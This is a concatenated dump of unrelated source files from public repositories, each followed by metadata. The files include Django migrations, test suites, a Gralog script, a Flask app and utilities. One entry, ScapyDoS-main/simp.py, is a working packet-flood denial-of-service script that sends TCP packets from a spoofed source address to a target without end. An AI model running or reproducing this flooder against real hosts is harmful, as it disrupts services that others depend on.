# Copyright (C) 2021 Intel Corporation # SPDX-License-Identifier: Apache-2.0 VERIFIED_OP_REFERENCES = [ 'Abs-1', 'Acos-1', 'Add-1', 'Asin-1', 'Asinh-3', 'Assign-6', 'AvgPool-1', 'BatchNormInference-5', 'BatchToSpace-2', 'BinaryConvolution-1', 'Broadcast-1', 'Broadcast-3'...
20.211864
58
0.568134
0
0
0
0
0
0
0
0
1,685
0.706499
fe6ce225addf6075e565169dfeb40c47ef8bca4d
18,542
py
Python
ghub/githubutils.py
mahanthathreyee/ghub
b212ca068ef530d034095e6ef5d964e4e78dc022
[ "MIT" ]
null
null
null
ghub/githubutils.py
mahanthathreyee/ghub
b212ca068ef530d034095e6ef5d964e4e78dc022
[ "MIT" ]
null
null
null
ghub/githubutils.py
mahanthathreyee/ghub
b212ca068ef530d034095e6ef5d964e4e78dc022
[ "MIT" ]
null
null
null
"""Utilities for interacting with GitHub""" import os import json import webbrowser import stat import sys from git import Repo from .context import Context event_dict = { "added_to_project": ( lambda event: "{} added the issue to a project.".format(event["actor"]["login"]) ), "assigned": ( ...
36.936255
99
0.584349
0
0
0
0
0
0
0
0
3,990
0.215187
fe6de4a21365edf7ffd30ec000387c588b119366
9,086
py
Python
equipments/migrations/0001_initial.py
fagrimacs/fagrimacs_production
ea1a8f92c41c416309cc1fdd8deb02f41a9c95a0
[ "MIT" ]
null
null
null
equipments/migrations/0001_initial.py
fagrimacs/fagrimacs_production
ea1a8f92c41c416309cc1fdd8deb02f41a9c95a0
[ "MIT" ]
8
2020-09-16T05:28:33.000Z
2020-09-28T06:29:03.000Z
equipments/migrations/0001_initial.py
fagrimacs/fagrimacs_production
ea1a8f92c41c416309cc1fdd8deb02f41a9c95a0
[ "MIT" ]
null
null
null
# Generated by Django 3.0.7 on 2020-09-18 05:52 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import multiselectfield.db.fields class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(setting...
75.716667
499
0.637134
8,893
0.978759
0
0
0
0
0
0
3,359
0.36969
fe6f28fa08fad0c5dcac3f523f0415850eb9e77c
3,495
py
Python
dcos_installer/test_cli.py
nkhanal0/dcos
fe0571b6519c86b6c33db4af42c63ab3e9087dcf
[ "Apache-2.0" ]
3
2017-02-05T06:58:28.000Z
2017-05-12T07:28:53.000Z
dcos_installer/test_cli.py
nkhanal0/dcos
fe0571b6519c86b6c33db4af42c63ab3e9087dcf
[ "Apache-2.0" ]
720
2017-02-08T04:04:19.000Z
2021-09-14T14:04:56.000Z
dcos_installer/test_cli.py
nkhanal0/dcos
fe0571b6519c86b6c33db4af42c63ab3e9087dcf
[ "Apache-2.0" ]
14
2017-02-08T03:57:24.000Z
2019-10-28T12:14:49.000Z
import pytest import gen from dcos_installer import cli def test_default_arg_parser(): parser = cli.get_argument_parser().parse_args([]) assert parser.verbose is False assert parser.port == 9000 assert parser.action == 'genconf' def test_set_arg_parser(): argument_parser = cli.get_argument_pars...
34.60396
76
0.571674
0
0
0
0
0
0
0
0
1,075
0.307582
fe70b613f1b25d8770820b6d2050c23b8fcae093
47,242
py
Python
gralog-fx/src/main/java/gralog/gralogfx/piping/scripts/Gralog.py
gralog/gralog
0ab2e3137b83950cdc4e9234d4df451a22034285
[ "Apache-2.0", "BSD-3-Clause" ]
12
2016-11-11T13:24:48.000Z
2022-01-27T19:49:36.000Z
gralog-fx/src/main/java/gralog/gralogfx/piping/scripts/Gralog.py
gralog/gralog
0ab2e3137b83950cdc4e9234d4df451a22034285
[ "Apache-2.0", "BSD-3-Clause" ]
6
2017-01-05T14:23:59.000Z
2018-09-20T19:14:57.000Z
gralog-fx/src/main/java/gralog/gralogfx/piping/scripts/Gralog.py
gralog/gralog
0ab2e3137b83950cdc4e9234d4df451a22034285
[ "Apache-2.0", "BSD-3-Clause" ]
2
2019-11-25T18:17:00.000Z
2020-06-04T21:38:50.000Z
#!/usr/bin/env python3 import sys from random import randint import os try: import networkx as nx except: print("gPrint#-1#" + "netwrokx not installed for " + sys.executable) sys.stdout.flush() try: import igraph as ig except: print("gPrint#-1#" + "igraph not installed for " + ...
35.870919
203
0.460522
44,982
0.952161
0
0
0
0
0
0
4,735
0.100229
fe7228704cb0dda0e1c0b7305078fa094d1a0478
2,843
py
Python
influxdb/tests/server_tests/base.py
ocworld/influxdb-python
a6bfe3e4643fdc775c97e1c4f457bc35d86e631e
[ "MIT" ]
2
2019-10-17T05:36:51.000Z
2020-06-30T00:27:22.000Z
influxdb/tests/server_tests/base.py
ocworld/influxdb-python
a6bfe3e4643fdc775c97e1c4f457bc35d86e631e
[ "MIT" ]
null
null
null
influxdb/tests/server_tests/base.py
ocworld/influxdb-python
a6bfe3e4643fdc775c97e1c4f457bc35d86e631e
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """Define the base module for server test.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import sys from influxdb.tests import using_pypy from influxdb.tests.server_tests.influxdb_instanc...
30.902174
74
0.655645
1,538
0.540978
0
0
580
0.20401
0
0
1,073
0.377418
fe739da7293d52a3a7c4940166ba21b32df8a642
9,107
py
Python
genemail/testing.py
cadithealth/genemail
d906ad9deec70a6b19b66c244044d4466df2371a
[ "MIT" ]
5
2015-08-13T05:22:54.000Z
2018-08-28T14:14:55.000Z
genemail/testing.py
cadithealth/genemail
d906ad9deec70a6b19b66c244044d4466df2371a
[ "MIT" ]
null
null
null
genemail/testing.py
cadithealth/genemail
d906ad9deec70a6b19b66c244044d4466df2371a
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- #------------------------------------------------------------------------------ # file: $Id$ # auth: Philip J Grabner <grabner@cadit.com> # date: 2013/10/21 # copy: (C) Copyright 2013 Cadit Health Inc., All Rights Reserved. #-----------------------------------------------------------------------...
41.584475
88
0.533326
6,408
0.703635
0
0
0
0
0
0
3,213
0.352806
fe74b07194e48e39b48840554a34c0fb3e4605a4
13,815
py
Python
telemetry/telemetry/testing/internal/fake_gpu_info.py
tingshao/catapult
a8fe19e0c492472a8ed5710be9077e24cc517c5c
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
telemetry/telemetry/testing/internal/fake_gpu_info.py
tingshao/catapult
a8fe19e0c492472a8ed5710be9077e24cc517c5c
[ "BSD-3-Clause" ]
4,640
2015-07-08T16:19:08.000Z
2019-12-02T15:01:27.000Z
telemetry/telemetry/testing/internal/fake_gpu_info.py
tingshao/catapult
a8fe19e0c492472a8ed5710be9077e24cc517c5c
[ "BSD-3-Clause" ]
698
2015-06-02T19:18:35.000Z
2022-03-29T16:57:15.000Z
# Copyright 2015 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # This dictionary of GPU information was captured from a run of # Telemetry on a Linux workstation with NVIDIA GPU. It helps test # telemetry.internal.platfo...
57.086777
78
0.668983
0
0
0
0
0
0
0
0
10,166
0.735867
fe759c78dfaceadf537006e1685f7155df52a71a
10,073
py
Python
vm_setup/pmevo/measurement-server/PITE/register_file.py
qcjiang/pmevo-artifact
bf5da1788f9ede42086c31b3996d9e41363cc7ee
[ "MIT" ]
6
2020-04-21T12:16:19.000Z
2022-02-10T09:18:08.000Z
vm_setup/pmevo/measurement-server/PITE/register_file.py
qcjiang/pmevo-artifact
bf5da1788f9ede42086c31b3996d9e41363cc7ee
[ "MIT" ]
1
2021-12-07T13:09:53.000Z
2021-12-07T13:09:53.000Z
vm_setup/pmevo/measurement-server/PITE/register_file.py
qcjiang/pmevo-artifact
bf5da1788f9ede42086c31b3996d9e41363cc7ee
[ "MIT" ]
2
2021-03-30T12:40:01.000Z
2021-11-23T15:49:50.000Z
#! /usr/bin/env python3 # vim: et:ts=4:sw=4:fenc=utf-8 from abc import ABC, abstractmethod from collections import defaultdict import re class RegisterFile(ABC): registers = NotImplemented def __init__(self): # for each register kind an index pointing to the next register to use self.reset_...
54.448649
111
0.37119
9,922
0.985009
0
0
0
0
0
0
5,348
0.530924
fe75c11d0a13c6adf86f05d6ce0d9f94ca54fb9c
5,410
py
Python
src/training_utils/training.py
JoseLuisRojasAranda/tfmodels
56dce0236f0cc03dd7031aecf305d470c9fb97a9
[ "MIT" ]
1
2020-06-05T23:25:03.000Z
2020-06-05T23:25:03.000Z
src/training_utils/training.py
JoseLuisRojasAranda/tfmodels
56dce0236f0cc03dd7031aecf305d470c9fb97a9
[ "MIT" ]
null
null
null
src/training_utils/training.py
JoseLuisRojasAranda/tfmodels
56dce0236f0cc03dd7031aecf305d470c9fb97a9
[ "MIT" ]
null
null
null
import os from os import path import json import shutil import tensorflow as tf import numpy as np # Importa cosas de Keras API from tensorflow.keras.optimizers import Adam, RMSprop from tensorflow.keras.models import Sequential from tensorflow.keras.utils import plot_model # Importa callbacks del modelo from traini...
35.359477
84
0.697227
0
0
0
0
0
0
0
0
2,369
0.437893
fe774ebe12faa6fdf372c8d9db66e886229109cb
3,563
py
Python
setup.py
truggles/pudl
6f41664f8243b8f7aafdbbfc8522f96043dbf561
[ "MIT" ]
null
null
null
setup.py
truggles/pudl
6f41664f8243b8f7aafdbbfc8522f96043dbf561
[ "MIT" ]
null
null
null
setup.py
truggles/pudl
6f41664f8243b8f7aafdbbfc8522f96043dbf561
[ "MIT" ]
null
null
null
#!/usr/bin/env python """Setup script to make PUDL directly installable with pip.""" import os from pathlib import Path from setuptools import find_packages, setup install_requires = [ 'coloredlogs', 'datapackage>=1.9.0', 'dbfread', 'goodtables', 'matplotlib', 'networkx>=2.2', 'numpy', ...
30.452991
79
0.641033
0
0
0
0
0
0
0
0
2,208
0.619702
fe77c98170bf9d8232497412401b6f749ddb70f7
7,836
py
Python
src/vulnix/nvd.py
dermetfan/vulnix
06daccda0e51098fbdbc65f61b6663c5c6df9358
[ "BSD-3-Clause" ]
217
2016-07-03T10:45:56.000Z
2022-03-30T12:06:51.000Z
src/vulnix/nvd.py
dermetfan/vulnix
06daccda0e51098fbdbc65f61b6663c5c6df9358
[ "BSD-3-Clause" ]
70
2016-06-27T08:47:22.000Z
2022-01-22T19:10:53.000Z
src/vulnix/nvd.py
dermetfan/vulnix
06daccda0e51098fbdbc65f61b6663c5c6df9358
[ "BSD-3-Clause" ]
24
2016-06-27T09:23:50.000Z
2022-01-30T05:32:22.000Z
from BTrees import OOBTree from datetime import datetime, date, timedelta from persistent import Persistent from .vulnerability import Vulnerability import fcntl import glob import gzip import json import logging import os import os.path as p import requests import transaction import ZODB import ZODB.FileStorage DEFAU...
32.786611
79
0.590225
7,378
0.941552
0
0
63
0.00804
0
0
1,935
0.246937
fe7996f8bc015e9c1e0a7458bde9909f14df8fbf
316
py
Python
ScapyDoS-main/simp.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
ScapyDoS-main/simp.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
ScapyDoS-main/simp.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
from scapy.all import * src = input("Source IP: ") target = input("Target IP: ") i=1 while True: for srcport in range(1, 65535): ip = IP(src=src, dst=target) tcp = TCP(sport=srcport, dport=80) pkt = ip / tcp send(pkt, inter= .0001) print("Packet Sent ", i) i=i+1
22.571429
42
0.550633
0
0
0
0
0
0
0
0
40
0.126582
fe79e20af0abaadf27ef0edd6010a9d9587df465
2,019
py
Python
test/test_basic_functions.py
azagajewski/ColiCoords
fa26e46971e24ff582c4d33331c5b8181f605c9f
[ "MIT" ]
18
2018-09-11T01:14:31.000Z
2021-12-27T10:21:59.000Z
test/test_basic_functions.py
azagajewski/ColiCoords
fa26e46971e24ff582c4d33331c5b8181f605c9f
[ "MIT" ]
77
2018-09-19T09:28:33.000Z
2021-11-12T13:31:50.000Z
test/test_basic_functions.py
azagajewski/ColiCoords
fa26e46971e24ff582c4d33331c5b8181f605c9f
[ "MIT" ]
8
2019-06-17T16:02:32.000Z
2021-06-30T23:31:17.000Z
import hashlib import unittest from colicoords.cell import Cell, CellList from colicoords.preprocess import data_to_cells from test import testcase from test.test_functions import load_testdata class DataTest(testcase.ArrayTestCase): def setUp(self): self.data = load_testdata('ds1') def t...
30.590909
93
0.618128
1,756
0.869737
0
0
0
0
0
0
62
0.030708
fe7a4e994d80d1a5a6af69534d2790e8dc14f03c
4,354
py
Python
data_importer_ftp.py
supsi-dacd-isaac/oasi-ozone-forecaster
01d23c374e857dcc6d556d073c0380186c2934d2
[ "MIT" ]
null
null
null
data_importer_ftp.py
supsi-dacd-isaac/oasi-ozone-forecaster
01d23c374e857dcc6d556d073c0380186c2934d2
[ "MIT" ]
null
null
null
data_importer_ftp.py
supsi-dacd-isaac/oasi-ozone-forecaster
01d23c374e857dcc6d556d073c0380186c2934d2
[ "MIT" ]
null
null
null
# --------------------------------------------------------------------------- # # Importing section # --------------------------------------------------------------------------- # import os import sys import argparse import logging import json from classes.alerts import SlackClient from influxdb import InfluxDBClient...
41.075472
119
0.475195
0
0
0
0
0
0
0
0
2,262
0.519522
fe7b77f497a02a03531071b294b121357332567e
2,791
py
Python
autoindent_code_JASS_war3map_j.py
gil9red/SimplePyScripts
c191ce08fbdeb29377639184579e392057945154
[ "CC-BY-4.0" ]
117
2015-12-18T07:18:27.000Z
2022-03-28T00:25:54.000Z
autoindent_code_JASS_war3map_j.py
gil9red/SimplePyScripts
c191ce08fbdeb29377639184579e392057945154
[ "CC-BY-4.0" ]
8
2018-10-03T09:38:46.000Z
2021-12-13T19:51:09.000Z
autoindent_code_JASS_war3map_j.py
gil9red/SimplePyScripts
c191ce08fbdeb29377639184579e392057945154
[ "CC-BY-4.0" ]
28
2016-08-02T17:43:47.000Z
2022-03-21T08:31:12.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = 'ipetrash' import re DEBUG = False def merge_str_literal(text: str) -> str: def _on_match(m: re.Match): return m.group().replace('"+"', '') return re.sub(r'".+?"(\+".+?")+ ', _on_match, text) lines = """ function II1I1_II takes real I...
23.258333
80
0.638839
0
0
0
0
0
0
0
0
1,512
0.541741
fe7bebb9c7d420d8879b0fc07f857afa803296a1
5,656
py
Python
python/addNewData.py
TruX-DTF/fixminer_source
5ab2d6f582743c377eadb21cd466a3a25809bc2d
[ "MIT" ]
5
2021-07-19T12:30:00.000Z
2022-01-14T16:41:00.000Z
python/addNewData.py
SerVal-DTF/fixminer_source
5ab2d6f582743c377eadb21cd466a3a25809bc2d
[ "MIT" ]
10
2020-04-06T09:52:19.000Z
2021-06-01T08:05:25.000Z
python/addNewData.py
SerVal-DTF/fixminer_source
5ab2d6f582743c377eadb21cd466a3a25809bc2d
[ "MIT" ]
5
2019-08-26T11:02:35.000Z
2021-03-23T15:42:09.000Z
from common.commons import * DATA_PATH = os.environ["DATA_PATH"] def core(): clusterPath = join(DATA_PATH, 'shapes') roots = listdir(clusterPath) roots = [i for i in roots if not (i.startswith('.') or i.endswith('.pickle'))] pattern = {} for root in roots: root sizes = listdir(join(...
39.552448
299
0.592999
0
0
0
0
0
0
0
0
1,012
0.178925
fe7d3ca44a30c1b45cb010d74a7365ccccfb69bc
691
py
Python
app.py
aosjehdgus/transliteration
1934999385863009cdf9f8806e949157d653a9f4
[ "Apache-2.0" ]
null
null
null
app.py
aosjehdgus/transliteration
1934999385863009cdf9f8806e949157d653a9f4
[ "Apache-2.0" ]
null
null
null
app.py
aosjehdgus/transliteration
1934999385863009cdf9f8806e949157d653a9f4
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import os import sys import tensorflow as tf import numpy as np import data_utils from translate import Transliteration from flask import Flask, request, jsonify transliteration = Transliteration() app = Flask(__name__) # Flask 객체 선언, 파라미터로 어플리케이션 패키지의 이름을 넣어 준다. app.config['JSON_AS_ASCII'] =...
24.678571
68
0.727931
0
0
0
0
239
0.308387
0
0
236
0.304516
fe7e1b8337434731ea17dce123e62981ed1e6ab4
87
py
Python
pyano2/apps.py
mental689/pyano
2bc75e79618392f2013dfde2ac8035fe5fa1dc61
[ "MIT" ]
1
2022-01-31T17:34:37.000Z
2022-01-31T17:34:37.000Z
pyano2/apps.py
mental689/pyano
2bc75e79618392f2013dfde2ac8035fe5fa1dc61
[ "MIT" ]
null
null
null
pyano2/apps.py
mental689/pyano
2bc75e79618392f2013dfde2ac8035fe5fa1dc61
[ "MIT" ]
null
null
null
from django.apps import AppConfig class Pyano2Config(AppConfig): name = 'pyano2'
14.5
33
0.747126
50
0.574713
0
0
0
0
0
0
8
0.091954
fe7f812fda345139b99dd24f883eb46ae8bf8541
609
py
Python
cime/scripts/lib/CIME/XML/env_build.py
cbeall123/E3SM
ec32b40d549b292f14acd11e6774686564539d3c
[ "FTL", "zlib-acknowledgement", "RSA-MD" ]
1
2020-08-28T14:57:15.000Z
2020-08-28T14:57:15.000Z
cime/scripts/lib/CIME/XML/env_build.py
cbeall123/E3SM
ec32b40d549b292f14acd11e6774686564539d3c
[ "FTL", "zlib-acknowledgement", "RSA-MD" ]
null
null
null
cime/scripts/lib/CIME/XML/env_build.py
cbeall123/E3SM
ec32b40d549b292f14acd11e6774686564539d3c
[ "FTL", "zlib-acknowledgement", "RSA-MD" ]
1
2021-03-11T23:20:58.000Z
2021-03-11T23:20:58.000Z
""" Interface to the env_build.xml file. This class inherits from EnvBase """ from CIME.XML.standard_module_setup import * from CIME.XML.env_base import EnvBase logger = logging.getLogger(__name__) class EnvBuild(EnvBase): # pylint: disable=unused-argument def __init__(self, case_root=None, infile="env_buil...
33.833333
91
0.714286
406
0.666667
0
0
0
0
0
0
263
0.431856
fe8041c5c55101ae0dcfff5c78088fd9a509554f
6,805
py
Python
services/ops/LogStatisticsAgent/logstatisticsagent/agent.py
gnmerritt/volttron
ebfbf62bab77d46fd3e8d6aaca1fc4f33932ccf3
[ "Apache-2.0" ]
1
2020-05-26T01:29:50.000Z
2020-05-26T01:29:50.000Z
services/ops/LogStatisticsAgent/logstatisticsagent/agent.py
gnmerritt/volttron
ebfbf62bab77d46fd3e8d6aaca1fc4f33932ccf3
[ "Apache-2.0" ]
null
null
null
services/ops/LogStatisticsAgent/logstatisticsagent/agent.py
gnmerritt/volttron
ebfbf62bab77d46fd3e8d6aaca1fc4f33932ccf3
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- {{{ # vim: set fenc=utf-8 ft=python sw=4 ts=4 sts=4 et: # # Copyright 2019, Battelle Memorial Institute. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www...
38.885714
103
0.680235
3,862
0.567524
0
0
167
0.024541
0
0
3,505
0.515062
fe83754072cf9c384870b3ad7538706613b6e5d9
675
py
Python
apps/inventory/serializers.py
sseits-skku/its-backend
faf020568b930aaff4958d47602c511aad8a6c8e
[ "MIT" ]
null
null
null
apps/inventory/serializers.py
sseits-skku/its-backend
faf020568b930aaff4958d47602c511aad8a6c8e
[ "MIT" ]
8
2020-06-05T23:00:49.000Z
2022-03-11T23:59:32.000Z
apps/inventory/serializers.py
sseits-skku/its-backend
faf020568b930aaff4958d47602c511aad8a6c8e
[ "MIT" ]
1
2019-10-01T13:07:22.000Z
2019-10-01T13:07:22.000Z
from rest_framework.serializers import ModelSerializer from .models import Place, Status, OSType, Stock, ComputerStock class PlaceSerializer(ModelSerializer): class Meta: model = Place fields = '__all__' class StatusSerializer(ModelSerializer): class Meta: model = Status fie...
19.852941
63
0.675556
540
0.8
0
0
0
0
0
0
45
0.066667
fe8661c1fd9d01528fabb6e5da9f0d2b06361f3b
2,857
py
Python
fmpy/cswrapper/__init__.py
CSchulzeTLK/FMPy
fde192346c36eb69dbaca60a96e80cdc8ef37b89
[ "CC-BY-3.0", "CC-BY-4.0" ]
225
2017-05-17T22:33:38.000Z
2022-03-29T12:41:52.000Z
fmpy/cswrapper/__init__.py
CSchulzeTLK/FMPy
fde192346c36eb69dbaca60a96e80cdc8ef37b89
[ "CC-BY-3.0", "CC-BY-4.0" ]
381
2017-05-20T13:31:52.000Z
2022-03-31T08:20:47.000Z
fmpy/cswrapper/__init__.py
CSchulzeTLK/FMPy
fde192346c36eb69dbaca60a96e80cdc8ef37b89
[ "CC-BY-3.0", "CC-BY-4.0" ]
90
2017-05-20T13:34:34.000Z
2022-03-31T05:14:57.000Z
def add_cswrapper(filename, outfilename=None): from fmpy import read_model_description, extract, sharedLibraryExtension, platform, __version__ from lxml import etree import os from shutil import copyfile, rmtree if outfilename is None: outfilename = filename model_description = read...
34.841463
125
0.672384
0
0
0
0
0
0
0
0
417
0.145957
fe86745dc1d7b386636a2027dae3d2552bd3e833
2,412
py
Python
test/dict_parameter_test.py
shouldsee/luigi
54a347361ae1031f06105eaf30ff88f5ef65b00c
[ "Apache-2.0" ]
14,755
2015-01-01T09:33:34.000Z
2022-03-31T15:38:39.000Z
test/dict_parameter_test.py
shouldsee/luigi
54a347361ae1031f06105eaf30ff88f5ef65b00c
[ "Apache-2.0" ]
2,387
2015-01-01T09:16:13.000Z
2022-03-12T13:55:43.000Z
test/dict_parameter_test.py
shouldsee/luigi
54a347361ae1031f06105eaf30ff88f5ef65b00c
[ "Apache-2.0" ]
2,630
2015-01-02T06:11:32.000Z
2022-03-27T22:11:20.000Z
# -*- coding: utf-8 -*- # # Copyright 2012-2015 Spotify AB # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
37.6875
105
0.679934
1,695
0.702736
0
0
0
0
0
0
925
0.383499
fe87946e35b940790f2abaab6a2a55e9294ad44f
7,305
py
Python
echoscope/source/mysql_source.py
treeyh/echoscope
ef8933ce9a5dfe2ac8fb6e82bad8d5fa0d72a6da
[ "MIT" ]
1
2022-01-18T09:19:38.000Z
2022-01-18T09:19:38.000Z
echoscope/source/mysql_source.py
treeyh/echoscope
ef8933ce9a5dfe2ac8fb6e82bad8d5fa0d72a6da
[ "MIT" ]
null
null
null
echoscope/source/mysql_source.py
treeyh/echoscope
ef8933ce9a5dfe2ac8fb6e82bad8d5fa0d72a6da
[ "MIT" ]
1
2022-01-18T09:19:39.000Z
2022-01-18T09:19:39.000Z
# -*- coding: UTF-8 -*- import logging from typing import List from echoscope.config import config from echoscope.util import mysql_util, str_util, log_util from echoscope.model import ds_model, config_model from echoscope.source import source class MysqlSource(source.Source): def __init__(self): self.exclude...
39.701087
411
0.675975
7,334
0.967163
0
0
0
0
0
0
2,951
0.38916
fe87ead9a791db821c1f883b4076bac8b4dc4efb
99,064
py
Python
lib/XChemPANDDA.py
graeme-winter/XChemExplorer
7b0779387705ab37074d80f77baf22891eb56907
[ "MIT" ]
2
2018-03-11T08:38:43.000Z
2021-09-25T07:46:44.000Z
lib/XChemPANDDA.py
graeme-winter/XChemExplorer
7b0779387705ab37074d80f77baf22891eb56907
[ "MIT" ]
208
2017-06-30T10:32:12.000Z
2022-03-29T10:38:32.000Z
lib/XChemPANDDA.py
graeme-winter/XChemExplorer
7b0779387705ab37074d80f77baf22891eb56907
[ "MIT" ]
6
2017-06-01T20:33:31.000Z
2021-10-04T09:44:09.000Z
# last edited: 10/08/2017, 10:25 import os, sys, glob, subprocess from datetime import datetime from PyQt4 import QtGui, QtCore import math #from XChemUtils import mtztools import XChemDB import XChemRefine import XChemUtils import XChemLog import XChemToolTips import csv try: import gemmi import pandas excep...
50.594484
265
0.589447
97,665
0.985878
0
0
0
0
0
0
30,981
0.312737
fe8a256140b6390c55cadca6d58880f260544702
5,253
py
Python
OmegaErp/Apps/base/forms/__init__.py
OMAR-EHAB777/FerpMenu
6aee4616bc9bc7801023fe51acfa28e1e1267b66
[ "BSD-3-Clause" ]
null
null
null
OmegaErp/Apps/base/forms/__init__.py
OMAR-EHAB777/FerpMenu
6aee4616bc9bc7801023fe51acfa28e1e1267b66
[ "BSD-3-Clause" ]
null
null
null
OmegaErp/Apps/base/forms/__init__.py
OMAR-EHAB777/FerpMenu
6aee4616bc9bc7801023fe51acfa28e1e1267b66
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ Global app forms """ # Standard Library import re # Django Library from django import forms from django.contrib.auth.forms import UserChangeForm, UserCreationForm from django.utils.translation import ugettext_lazy as _ # Thirdparty Library from dal import autocomplete # Localfolder Librar...
26.938462
80
0.491148
4,667
0.888445
0
0
0
0
0
0
1,740
0.331239
fe8a7abf97fc4938deedb4a0e775164e6040fb1b
1,042
py
Python
test-drf-project/tests/conftest.py
fvlima/drf-view-profiler
a61d48e9835679f812d69d24ea740b947836108c
[ "MIT" ]
30
2019-10-16T12:48:16.000Z
2021-11-23T08:57:27.000Z
test-drf-project/tests/conftest.py
fvlima/drf-view-profiler
a61d48e9835679f812d69d24ea740b947836108c
[ "MIT" ]
null
null
null
test-drf-project/tests/conftest.py
fvlima/drf-view-profiler
a61d48e9835679f812d69d24ea740b947836108c
[ "MIT" ]
1
2021-11-23T07:28:04.000Z
2021-11-23T07:28:04.000Z
from unittest import mock import pytest from django.http import HttpRequest from rest_framework.response import Response from rest_framework.test import APIClient from drf_viewset_profiler.middleware import LineProfilerViewSetMiddleware @pytest.fixture def api_client(): return APIClient() @pytest.fixture def ...
24.809524
100
0.794626
0
0
0
0
788
0.756238
0
0
74
0.071017
fe8b3957ceddf0ec804e544f4e167363b9d84f54
3,553
py
Python
Examples/VirtualLab/virtual_experiment_f.py
diehlpk/muDIC
b5d90aa62267b4bd0b88ae0a989cf09a51990654
[ "MIT" ]
70
2019-04-15T08:08:23.000Z
2022-03-23T08:24:25.000Z
Examples/VirtualLab/virtual_experiment_f.py
diehlpk/muDIC
b5d90aa62267b4bd0b88ae0a989cf09a51990654
[ "MIT" ]
34
2019-05-03T18:09:43.000Z
2022-02-10T11:36:29.000Z
Examples/VirtualLab/virtual_experiment_f.py
diehlpk/muDIC
b5d90aa62267b4bd0b88ae0a989cf09a51990654
[ "MIT" ]
37
2019-04-25T15:39:23.000Z
2022-03-28T21:40:24.000Z
# This allows for running the example when the repo has been cloned import sys from os.path import abspath sys.path.extend([abspath(".")]) # Example code follows import logging import numpy as np import matplotlib.pyplot as plt import muDIC.vlab as vlab import muDIC as dic """ This example case runs an experiment whe...
36.628866
112
0.731776
0
0
0
0
0
0
0
0
1,555
0.437658
fe8b6fcdfeb01114b63f0a0d1b3c6d4bd1396297
81
py
Python
src/template_config.py
ckaestne/toxicity-detector
bb00ffe4470c6c1a2f561212d487d56eab5a5da7
[ "MIT" ]
7
2020-03-03T18:09:48.000Z
2022-03-23T16:55:26.000Z
src/template_config.py
ckaestne/toxicity-detector
bb00ffe4470c6c1a2f561212d487d56eab5a5da7
[ "MIT" ]
67
2020-06-09T23:57:49.000Z
2022-02-05T19:09:49.000Z
src/template_config.py
sophieball/toxicity-detector
7c07c5e6a6915428fdae64cbd3bc07caa697774e
[ "MIT" ]
6
2020-02-21T00:19:57.000Z
2022-03-03T23:00:42.000Z
mongo = { "user": "", "passwd": "", "db": "ghtorrent" } perspective_api_key = ""
27
55
0.555556
0
0
0
0
0
0
0
0
35
0.432099
fe8c212fdb626e028311eb927a139fd3cc7bba51
1,455
py
Python
tests/unit/dataactvalidator/test_fabs38_detached_award_financial_assistance_2.py
COEJKnight/one
6a5f8cd9468ab368019eb2597821b7837f74d9e2
[ "CC0-1.0" ]
1
2018-10-29T12:54:44.000Z
2018-10-29T12:54:44.000Z
tests/unit/dataactvalidator/test_fabs38_detached_award_financial_assistance_2.py
COEJKnight/one
6a5f8cd9468ab368019eb2597821b7837f74d9e2
[ "CC0-1.0" ]
null
null
null
tests/unit/dataactvalidator/test_fabs38_detached_award_financial_assistance_2.py
COEJKnight/one
6a5f8cd9468ab368019eb2597821b7837f74d9e2
[ "CC0-1.0" ]
null
null
null
from tests.unit.dataactcore.factories.staging import DetachedAwardFinancialAssistanceFactory from tests.unit.dataactvalidator.utils import number_of_errors, query_columns _FILE = 'fabs38_detached_award_financial_assistance_2' def test_column_headers(database): expected_subset = {"row_number", "awarding_office_co...
45.46875
120
0.808935
0
0
0
0
0
0
0
0
232
0.15945
fe8d5aa19fb8f623818fa75491db0f6d028311d8
3,203
py
Python
Optimisation Portfolios/HERC.py
BrandonAFong/Ideas
5d38be2dfaba12a534220e3f28a6c9da9aefcdec
[ "MIT" ]
null
null
null
Optimisation Portfolios/HERC.py
BrandonAFong/Ideas
5d38be2dfaba12a534220e3f28a6c9da9aefcdec
[ "MIT" ]
null
null
null
Optimisation Portfolios/HERC.py
BrandonAFong/Ideas
5d38be2dfaba12a534220e3f28a6c9da9aefcdec
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Aug 31 22:48:21 2021 @author: apple """ import numpy as np import pandas as pd from HRP import seriation import fastcluster from scipy.cluster.hierarchy import fcluster from gap_statistic import OptimalK from backtest import df_to_matrix #HERC def...
28.345133
84
0.609429
0
0
0
0
0
0
0
0
323
0.100843
fe8e1c215219c1805761ef6232ba7b858bfbd7b4
3,641
py
Python
src/conv/convertManifest2Curation.py
nakamura196/i3
16d7695e5412b45dc8e0192d9ca285723ac9f788
[ "Apache-2.0" ]
3
2020-04-21T11:36:10.000Z
2022-02-01T00:46:59.000Z
src/conv/convertManifest2Curation.py
nakamura196/i3
16d7695e5412b45dc8e0192d9ca285723ac9f788
[ "Apache-2.0" ]
17
